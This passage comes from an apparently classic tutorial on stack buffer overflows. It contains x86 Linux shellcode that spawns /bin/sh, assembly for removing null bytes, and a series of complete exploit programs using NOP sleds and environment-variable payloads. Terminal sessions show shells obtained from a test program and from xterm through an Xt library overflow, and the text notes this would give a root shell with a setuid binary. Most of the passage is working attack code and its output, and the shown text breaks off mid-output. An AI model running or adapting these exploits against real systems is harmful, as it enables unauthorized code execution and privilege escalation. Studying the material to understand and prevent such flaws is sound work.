  774.         "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
  775.         "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
  776.         "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
  777.         "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
  778.  
  779. void main() {
  780.    int *ret;
  781.  
  782.    ret = (int *)&ret + 2;
  783.    (*ret) = (int)shellcode;
  784.  
  785. }
  786. ------------------------------------------------------------------------------
  787. ------------------------------------------------------------------------------
  788. [aleph1]$ gcc -o testsc testsc.c
  789. [aleph1]$ ./testsc
  790. $ exit
  791. [aleph1]$
  792. ------------------------------------------------------------------------------
  793.  
  794. It works! But there is an obstacle. In most cases we'll be trying to
  795. overflow a character buffer. As such any null bytes in our shellcode will
  796. be considered the end of the string, and the copy will be terminated. There
  797. must be no null bytes in the shellcode for the exploit to work. Let's try
  798. to eliminate the bytes (and at the same time make it smaller).
  799.  
  800.            Problem instruction:                 Substitute with:
  801.            --------------------------------------------------------
  802.            movb   $0x0,0x7(%esi)                xorl   %eax,%eax
  803.            molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
  804.                                                 movl   %eax,0xc(%esi)
  805.            --------------------------------------------------------
  806.            movl   $0xb,%eax                     movb   $0xb,%al
  807.            --------------------------------------------------------
  808.            movl   $0x1, %eax                    xorl   %ebx,%ebx
  809.            movl   $0x0, %ebx                    movl   %ebx,%eax
  810.                                                 inc    %eax
  811.            --------------------------------------------------------
  812.  
  813. Our improved code:
  814.  
  815. shellcodeasm2.c
  816. ------------------------------------------------------------------------------
  817. void main() {
  818. __asm__("
  819.         jmp    0x1f                     # 2 bytes
  820.         popl   %esi                     # 1 byte
  821.         movl   %esi,0x8(%esi)           # 3 bytes
  822.         xorl   %eax,%eax                # 2 bytes
  823.         movb   %eax,0x7(%esi)           # 3 bytes
  824.         movl   %eax,0xc(%esi)           # 3 bytes
  825.         movb   $0xb,%al                 # 2 bytes
  826.         movl   %esi,%ebx                # 2 bytes
  827.         leal   0x8(%esi),%ecx           # 3 bytes
  828.         leal   0xc(%esi),%edx           # 3 bytes
  829.         int    $0x80                    # 2 bytes
  830.         xorl   %ebx,%ebx                # 2 bytes
  831.         movl   %ebx,%eax                # 2 bytes
  832.         inc    %eax                     # 1 bytes
  833.         int    $0x80                    # 2 bytes
  834.         call   -0x24                    # 5 bytes
  835.         .string \"/bin/sh\"             # 8 bytes
  836.                                         # 46 bytes total
  837. ");
  838. }
  839. ------------------------------------------------------------------------------
  840.  
  841. And our new test program:
  842.  
  843. testsc2.c
  844. ------------------------------------------------------------------------------
  845. char shellcode[] =
  846.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  847.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  848.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  849.  
  850. void main() {
  851.    int *ret;
  852.  
  853.    ret = (int *)&ret + 2;
  854.    (*ret) = (int)shellcode;
  855.  
  856. }
  857. ------------------------------------------------------------------------------
  858. ------------------------------------------------------------------------------
  859. [aleph1]$ gcc -o testsc2 testsc2.c
  860. [aleph1]$ ./testsc2
  861. $ exit
  862. [aleph1]$
  863. ------------------------------------------------------------------------------
  864.  
  865. Writing an Exploit (or how to mung the stack)
  866.  
  867. Lets try to pull all our pieces together. We have the shellcode. We know it
  868. must be part of the string which we'll use to overflow the buffer. We know
  869. we must point the return address back into the buffer. This example will
  870. demonstrate these points:
  871.  
  872. overflow1.c
  873. ------------------------------------------------------------------------------
  874. char shellcode[] =
  875.         "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  876.         "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  877.         "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  878.  
  879. char large_string[128];
  880.  
  881. void main() {
  882.   char buffer[96];
  883.   int i;
  884.   long *long_ptr = (long *) large_string;
  885.  
  886.   for (i = 0; i < 32; i++)
  887.     *(long_ptr + i) = (int) buffer;
  888.  
  889.   for (i = 0; i < strlen(shellcode); i++)
  890.     large_string[i] = shellcode[i];
  891.  
  892.   strcpy(buffer,large_string);
  893. }
  894. ------------------------------------------------------------------------------
  895.  
  896. ------------------------------------------------------------------------------
  897. [aleph1]$ gcc -o exploit1 exploit1.c
  898. [aleph1]$ ./exploit1
  899. $ exit
  900. exit
  901. [aleph1]$
  902. ------------------------------------------------------------------------------
  903.  
  904. What we have done above is filled the array large_string[] with the address
  905. of buffer[], which is where our code will be. Then we copy our shellcode
  906. into the beginning of the large_string string. strcpy() will then copy
  907. large_string onto buffer without doing any bounds checking, and will
  908. overflow the return address, overwriting it with the address where our code
  909. is now located. Once we reach the end of main and it tried to return it
  910. jumps to our code, and execs a shell.
  911.  
  912. The problem we are faced when trying to overflow the buffer of another
  913. program is trying to figure out at what address the buffer (and thus our
  914. code) will be. The answer is that for every program the stack will start at
  915. the same address. Most programs do not push more than a few hundred or a
  916. few thousand bytes into the stack at any one time. Therefore by knowing
  917. where the stack starts we can try to guess where the buffer we are trying
  918. to overflow will be. Here is a little program that will print its stack
  919. pointer:
  920.  
  921. sp.c
  922. ------------------------------------------------------------------------------
  923. unsigned long get_sp(void) {
  924.    __asm__("movl %esp,%eax");
  925. }
  926. void main() {
  927.   printf("0x%x\n", get_sp());
  928. }
  929. ------------------------------------------------------------------------------
  930.  
  931. ------------------------------------------------------------------------------
  932. [aleph1]$ ./sp
  933. 0x8000470
  934. [aleph1]$
  935. ------------------------------------------------------------------------------
  936.  
  937. Lets assume this is the program we are trying to overflow is:
  938.  
  939. vulnerable.c
  940. ------------------------------------------------------------------------------
  941. void main(int argc, char *argv[]) {
  942.   char buffer[512];
  943.  
  944.   if (argc > 1)
  945.     strcpy(buffer,argv[1]);
  946. }
  947. ------------------------------------------------------------------------------
  948.  
  949. We can create a program that takes as a parameter a buffer size, and an
  950. offset from its own stack pointer (where we believe the buffer we want to
  951. overflow may live). We'll put the overflow string in an environment
  952. variable so it is easy to manipulate:
  953.  
  954. exploit2.c
  955. ------------------------------------------------------------------------------
  956. #include <stdlib.h>
  957.  
  958. #define DEFAULT_OFFSET                    0
  959. #define DEFAULT_BUFFER_SIZE             512
  960.  
  961. char shellcode[] =
  962.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  963.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  964.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  965.  
  966. unsigned long get_sp(void) {
  967.    __asm__("movl %esp,%eax");
  968. }
  969.  
  970. void main(int argc, char *argv[]) {
  971.   char *buff, *ptr;
  972.   long *addr_ptr, addr;
  973.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  974.   int i;
  975.  
  976.   if (argc > 1) bsize  = atoi(argv[1]);
  977.   if (argc > 2) offset = atoi(argv[2]);
  978.  
  979.   if (!(buff = malloc(bsize))) {
  980.     printf("Can't allocate memory.\n");
  981.     exit(0);
  982.   }
  983.  
  984.   addr = get_sp() - offset;
  985.   printf("Using address: 0x%x\n", addr);
  986.  
  987.   ptr = buff;
  988.   addr_ptr = (long *) ptr;
  989.   for (i = 0; i < bsize; i+=4)
  990.     *(addr_ptr++) = addr;
  991.  
  992.   ptr += 4;
  993.   for (i = 0; i < strlen(shellcode); i++)
  994.     *(ptr++) = shellcode[i];
  995.  
  996.   buff[bsize - 1] = '\0';
  997.  
  998.   memcpy(buff,"EGG=",4);
  999.   putenv(buff);
  1000.   system("/bin/bash");
  1001. }
  1002. ------------------------------------------------------------------------------
  1003.  
  1004. Now we can try to guess what the buffer and offset should be:
  1005.  
  1006. ------------------------------------------------------------------------------
  1007. [aleph1]$ ./exploit2 500
  1008. Using address: 0xbffffdb4
  1009. [aleph1]$ ./vulnerable $EGG
  1010. [aleph1]$ exit
  1011. [aleph1]$ ./exploit2 600
  1012. Using address: 0xbffffdb4
  1013. [aleph1]$ ./vulnerable $EGG
  1014. Illegal instruction
  1015. [aleph1]$ exit
  1016. [aleph1]$ ./exploit2 600 100
  1017. Using address: 0xbffffd4c
  1018. [aleph1]$ ./vulnerable $EGG
  1019. Segmentation fault
  1020. [aleph1]$ exit
  1021. [aleph1]$ ./exploit2 600 200
  1022. Using address: 0xbffffce8
  1023. [aleph1]$ ./vulnerable $EGG
  1024. Segmentation fault
  1025. [aleph1]$ exit
  1026. .
  1027. .
  1028. .
  1029. [aleph1]$ ./exploit2 600 1564
  1030. Using address: 0xbffff794
  1031. [aleph1]$ ./vulnerable $EGG
  1032. $
  1033. ------------------------------------------------------------------------------
  1034.  
  1035. As we can see this is not an efficient process. Trying to guess the offset
  1036. even while knowing where the beginning of the stack lives is nearly
  1037. impossible. We would need at best a hundred tries, and at worst a couple of
  1038. thousand. The problem is we need to guess exactly where the address of our
  1039. code will start. If we are off by one byte more or less we will just get a
  1040. segmentation violation or a invalid instruction. One way to increase our
  1041. chances is to pad the front of our overflow buffer with NOP instructions.
  1042. Almost all processors have a NOP instruction that performs a null
  1043. operation. It is usually used to delay execution for purposes of timing. We
  1044. will take advantage of it and fill half of our overflow buffer with them.
  1045. We will place our shellcode at the center, and then follow it with the
  1046. return addresses. If we are lucky and the return address points anywhere in
  1047. the string of NOPs, they will just get executed until they reach our code.
  1048. In the Intel architecture the NOP instruction is one byte long and it
  1049. translates to 0x90 in machine code. Assuming the stack starts at address
  1050. 0xFF, that S stands for shell code, and that N stands for a NOP instruction
  1051. the new stack would look like this:
  1052.  
  1053. bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
  1054. memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
  1055.            buffer                sfp   ret   a     b     c
  1056.  
  1057. <------   [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
  1058.                  ^                     |
  1059.                  |_____________________|
  1060. top of                                                            bottom of
  1061. stack                                                                 stack
  1062.  
  1063. The new exploits is then:
  1064.  
  1065. exploit3.c
  1066. ------------------------------------------------------------------------------
  1067. #include <stdlib.h>
  1068.  
  1069. #define DEFAULT_OFFSET                    0
  1070. #define DEFAULT_BUFFER_SIZE             512
  1071. #define NOP                            0x90
  1072.  
  1073. char shellcode[] =
  1074.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1075.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1076.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1077.  
  1078. unsigned long get_sp(void) {
  1079.    __asm__("movl %esp,%eax");
  1080. }
  1081.  
  1082. void main(int argc, char *argv[]) {
  1083.   char *buff, *ptr;
  1084.   long *addr_ptr, addr;
  1085.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1086.   int i;
  1087.  
  1088.   if (argc > 1) bsize  = atoi(argv[1]);
  1089.   if (argc > 2) offset = atoi(argv[2]);
  1090.  
  1091.   if (!(buff = malloc(bsize))) {
  1092.     printf("Can't allocate memory.\n");
  1093.     exit(0);
  1094.   }
  1095.  
  1096.   addr = get_sp() - offset;
  1097.   printf("Using address: 0x%x\n", addr);
  1098.  
  1099.   ptr = buff;
  1100.   addr_ptr = (long *) ptr;
  1101.   for (i = 0; i < bsize; i+=4)
  1102.     *(addr_ptr++) = addr;
  1103.  
  1104.   for (i = 0; i < bsize/2; i++)
  1105.     buff[i] = NOP;
  1106.  
  1107.   ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  1108.   for (i = 0; i < strlen(shellcode); i++)
  1109.     *(ptr++) = shellcode[i];
  1110.  
  1111.   buff[bsize - 1] = '\0';
  1112.  
  1113.   memcpy(buff,"EGG=",4);
  1114.   putenv(buff);
  1115.   system("/bin/bash");
  1116. }
  1117. ------------------------------------------------------------------------------
  1118.  
  1119. A good selection for our buffer size is about 100 bytes more than the size
  1120. of the buffer we are trying to overflow. This will place our code at the
  1121. end of the buffer we are trying to overflow, giving a lot of space for the
  1122. NOPs, but still overwriting the return address with the address we guessed.
  1123. The buffer we are trying to overflow is 512 bytes long, so we'll use 612.
  1124. Let's try to overflow our test program with our new exploit:
  1125.  
  1126. ------------------------------------------------------------------------------
  1127. [aleph1]$ ./exploit3 612
  1128. Using address: 0xbffffdb4
  1129. [aleph1]$ ./vulnerable $EGG
  1130. $
  1131. ------------------------------------------------------------------------------
  1132.  
  1133. Whoa! First try! This change has improved our chances a hundredfold. Let's
  1134. try it now on a real case of a buffer overflow. We'll use for our
  1135. demonstration the buffer overflow on the Xt library. For our example, we'll
  1136. use xterm (all programs linked with the Xt library are vulnerable). You
  1137. must be running an X server and allow connections to it from the localhost.
  1138. Set your DISPLAY variable accordingly.
  1139.  
  1140. ------------------------------------------------------------------------------
  1141. [aleph1]$ export DISPLAY=:0.0
  1142. [aleph1]$ ./exploit3 1124
  1143. Using address: 0xbffffdb4
  1144. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1145. Warning: Color name "δ^1ñFF
  1146.                            ░
  1147.                             ≤V
  1148.  
  1149. ñ1ñ╪@ñΦ▄   /bin/shñ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ
  1150.  
  1151.  ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ñ
  1152.  
  1153. ñ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ ┐ññ  ┐ññ ┐ññ ┐ññ ┐ññ
  1154. ^C
  1155. [aleph1]$ exit
  1156. [aleph1]$ ./exploit3 2148 100
  1157. Using address: 0xbffffd48
  1158. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1159. Warning: Color name "δ^1ñFF
  1160.                            ░
  1161.                             ≤V
  1162.  
  1163. ñ1ñ╪@ñΦ▄   /bin/shñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ
  1164.  
  1165.  ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐H
  1166.  
  1167. ñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐
  1168.  
  1169. Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ 
  1170.  
  1171. ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ ┐Hñ 
  1172. Warning: some arguments in previous message were lost
  1173. Illegal instruction
  1174. [aleph1]$ exit
  1175. .
  1176. .
  1177. .
  1178. [aleph1]$ ./exploit4 2148 600
  1179. Using address: 0xbffffb54
  1180. [aleph1]$ /usr/X11R6/bin/xterm -fg $EGG
  1181. Warning: Color name "δ^1ñFF
  1182.                            ░
  1183.                             ≤V
  1184.  
  1185. ñ1ñ╪@ñΦ▄   /bin/sh√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√
  1186.  
  1187.  ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T
  1188.  
  1189. √ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐
  1190.  
  1191. T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ 
  1192.  
  1193. ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ ┐T√ 
  1194. Warning: some arguments in previous message were lost
  1195. bash$
  1196. ------------------------------------------------------------------------------
  1197.  
  1198. Eureka! Less than a dozen tries and we found the magic numbers. If xterm
  1199. where installed suid root this would now be a root shell.
  1200.  
  1201. Small Buffer Overflows
  1202.  
  1203. There will be times when the buffer you are trying to overflow is so small
  1204. that either the shellcode wont fit into it, and it will overwrite the
  1205. return address with instructions instead of the address of our code, or the
  1206. number of NOPs you can pad the front of the string with is so small that
  1207. the chances of guessing their address is minuscule. To obtain a shell from
  1208. these programs we will have to go about it another way. This particular
  1209. approach only works when you have access to the program's environment
  1210. variables.
  1211.  
  1212. What we will do is place our shellcode in an environment variable, and then
  1213. overflow the buffer with the address of this variable in memory. This
  1214. method also increases your changes of the exploit working as you can make
  1215. the environment variable holding the shell code as large as you want.
  1216.  
  1217. The environment variables are stored in the top of the stack when the
  1218. program is started, any modification by setenv() are then allocated
  1219. elsewhere. The stack at the beginning then looks like this:
  1220.  
  1221. <strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
  1222.  
  1223. Our new program will take an extra variable, the size of the variable
  1224. containing the shellcode and NOPs. Our new exploit now looks like this:
  1225.  
  1226. exploit4.c
  1227. ------------------------------------------------------------------------------
  1228. #include <stdlib.h>
  1229.  
  1230. #define DEFAULT_OFFSET                    0
  1231. #define DEFAULT_BUFFER_SIZE             512
  1232. #define DEFAULT_EGG_SIZE               2048
  1233. #define NOP                            0x90
  1234.  
  1235. char shellcode[] =
  1236.   "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  1237.   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  1238.   "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  1239.  
  1240. unsigned long get_esp(void) {
  1241.    __asm__("movl %esp,%eax");
  1242. }
  1243.  
  1244. void main(int argc, char *argv[]) {
  1245.   char *buff, *ptr, *egg;
  1246.   long *addr_ptr, addr;
  1247.   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  1248.   int i, eggsize=DEFAULT_EGG_SIZE;
  1249.  
  1250.   if (argc > 1) bsize   = atoi(argv[1]);
  1251.   if (argc > 2) offset  = atoi(argv[2]);
  1252.   if (argc > 3) eggsize = atoi(argv[3]);
  1253.  
  1254.   if (!(buff = malloc(bsize))) {
  1255.     printf("Can't allocate memory.\n");
  1256.     exit(0);
  1257.   }
  1258.   if (!(egg = malloc(eggsize))) {
  1259.     printf("Can't allocate memory.\n");
  1260.     exit(0);
  1261.   }
  1262.  
  1263.   addr = get_esp() - offset;
  1264.   printf("Using address: 0x%x\n", addr);
  1265.  
  1266.   ptr = buff;
  1267.   addr_ptr = (long *) ptr;
  1268.   for (i = 0; i < bsize; i+=4)
  1269.     *(addr_ptr++) = addr;
  1270.  
  1271.   ptr = egg;
  1272.   for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
  1273.     *(ptr++) = NOP;
  1274.  
  1275.   for (i = 0; i < strlen(shellcode); i++)
  1276.     *(ptr++) = shellcode[i];
  1277.  
  1278.   buff[bsize - 1] = '\0';
  1279.   egg[eggsize - 1] = '\0';
  1280.  
  1281.   memcpy(egg,"EGG=",4);
  1282.   putenv(egg);
  1283.   memcpy(buff,"RET=",4);
  1284.   putenv(buff);
  1285.   system("/bin/bash");
  1286. }
  1287. ------------------------------------------------------------------------------
  1288.  
  1289. Lets try our new exploit with our vulnerable test program:
  1290.  
  1291. ------------------------------------------------------------------------------
  1292. [aleph1]$ ./exploit4 768
  1293. Using address: 0xbffffdb0
  1294. [aleph1]$ ./vulnerable $RET
  1295. $
  1296. ------------------------------------------------------------------------------
  1297.  
  1298. Works like a charm. Now lets try it on xterm:
  1299.  
  1300. ------------------------------------------------------------------------------
  1301. [aleph1]$ export DISPLAY=:0.0
  1302. [aleph1]$ ./exploit4 2148
  1303. Using address: 0xbffffdb0
  1304. [aleph1]$ /usr/X11R6/bin/xterm -fg $RET
  1305. Warning: Color name
  1306. "░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ
  1307.  
  1308.  ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░ñ ┐░
  1309.  
